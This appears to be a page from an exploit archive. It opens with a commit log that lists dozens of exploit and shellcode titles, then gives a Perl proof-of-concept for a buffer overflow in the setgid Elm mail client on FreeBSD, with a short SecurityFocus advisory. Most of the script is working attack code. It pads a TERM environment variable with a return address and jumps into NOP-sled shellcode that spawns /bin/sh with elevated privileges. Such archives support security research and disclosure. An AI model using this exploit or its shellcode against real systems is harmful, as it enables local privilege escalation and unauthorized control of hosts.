880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
33 lines
No EOL
1.4 KiB
Perl
Executable file
33 lines
No EOL
1.4 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/8030/info
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A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.
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As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.
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# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
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# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
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# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
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# shellcode by zillionATsafemode.org
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# ko-elm-2.4h4.1 ELM Mail User Agent, patched for Korean E-Mail
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# elm is setgid 'bin'
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$len = 512;
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$ret = 0xbfbffd68;
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$nop = "\x90";
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$offset = 0;
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$shellcode = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
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"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
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"\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
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if (@ARGV == 1) {
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$offset = $ARGV[0];
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}
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for ($i = 0; $i < ($len - length($shellcode)); $i++) {
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$buffer .= $nop;
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}
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$buffer .= $shellcode;
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$new_ret = pack('l', ($ret + $offset));
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local($ENV{'EGG'}) = $buffer;
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local($ENV{'TERM'}) = $new_ret x 12;
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exec("elm"); |